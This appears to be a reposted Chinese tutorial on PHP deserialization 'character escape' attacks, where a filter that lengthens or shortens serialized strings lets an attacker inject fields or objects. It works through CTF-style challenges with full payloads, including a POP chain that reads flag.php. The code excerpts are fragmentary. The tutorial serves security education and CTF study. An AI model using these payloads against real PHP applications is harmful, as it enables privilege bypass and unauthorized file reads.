在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。
2.在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败。
2.1 过滤后字符变多
function filter($string){
return str_replace('x','yy',$string);
$user = array($username, $password);
highlight_file(__FILE__);
|
此题中对序列化字符串中的x替换为yy,可能导致字符串长度增加。
当传入u=admin,序列化为
a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";}
|
反序列化后满足不了$a[1]==='admin'条件
当传入u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";},此时替换序列化的结果为
a:2:a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}
|
此时yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy的长度刚好为38,不会报错,再加上后面的;i:1;s:5:”admin”;}成功反序列化,后面的就被忽略了。
x个数的计算
首先我们要确定需要添加的内容,也就是后面一串,即”;i:1;s:5:”admin”;},长度为19(设为m),满足以下式子(设有n个x字符,”;i:1;s:5:”admin”;}前面有y个非x字符):
n+y+m=2n+y // 原来字符串的长度 = 替换后去掉m的长度
解方程得n=19,即我们要有19个x,y随意,从等式可以看出抵消了
2.2 过滤后字符变少
function filter($string){
return str_replace('sec','',$string);
$user = array($username, $password,$auth);
highlight_file(__FILE__);
|
要想得到flag,就要使得”;i:2;s:5:”admin”;},长度为19,经过观察序列化后”;i:1;s:这部分是不会改变的,因为整个payload肯定是不超过100个字符的,所以加上后面的长度”;i:1;s:xx:” 为12个字符,这里存在着sec的替换,我们可以输入4个sec替换为空格,刚好空出12个字符,可以将”;i:1;s:xx:”这12个字符反序列化后在第一个元素值中,使得后面逃匿。
最后payload
u=secsecsecsec&p=";i:1;s:4:"eval";i:2;s:5:"admin";}
|
也可以多添加几个sec,假设为5个,此时空出15个字符,减去”;i:1;s:xx:”这12个字符,还剩下3个,可以再输入三个字符填充。
u=secsecsecsecsec&p=123";i:1;s:4:"eval";i:2;s:5:"admin";}
|
某赛题题目源码如下
show_source("index.php");
return str_replace(chr(0) . '*' . chr(0), ' ', $data);
return str_replace(' ', chr(0) . '*' . chr(0), $data);
function __construct($a, $b){
echo file_get_contents($this->c);
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
|
反序列利用链接为
B __destruct() -> C __toString()
|
正常利用序列化链为
function __construct($a, $b){
|
序列化结果
O:1:"A":2:{s:8:"username";s:4:"test";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
|
下面是我们实际上要添加的字符串
";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
|
这里write()中将'chr(0) . '*' . chr(0)'替换为 ' ',长度由3变成6,增加三个字符,read()中' '替换为chr(0) . '*' . chr(0),长度由6变成3,减少3个字符。先write()操作后read(),这里只能用字符缩短的逃匿方法。
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}
|
其中要利用username吃掉后面的";s:8:"password";s:xx:",为23个字符。
可以用6个 ,可以减少24个字符,多减少了一个字符,在实际上要添加的字符串可以在多填上一个字符即可。
?a= &b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
|
![详解PHP反序列化字符逃匿安全问题 详解PHP反序列化字符逃匿安全问题]()
原文始发于微信公众号(SAINTSEC):详解PHP反序列化字符逃匿安全问题
评论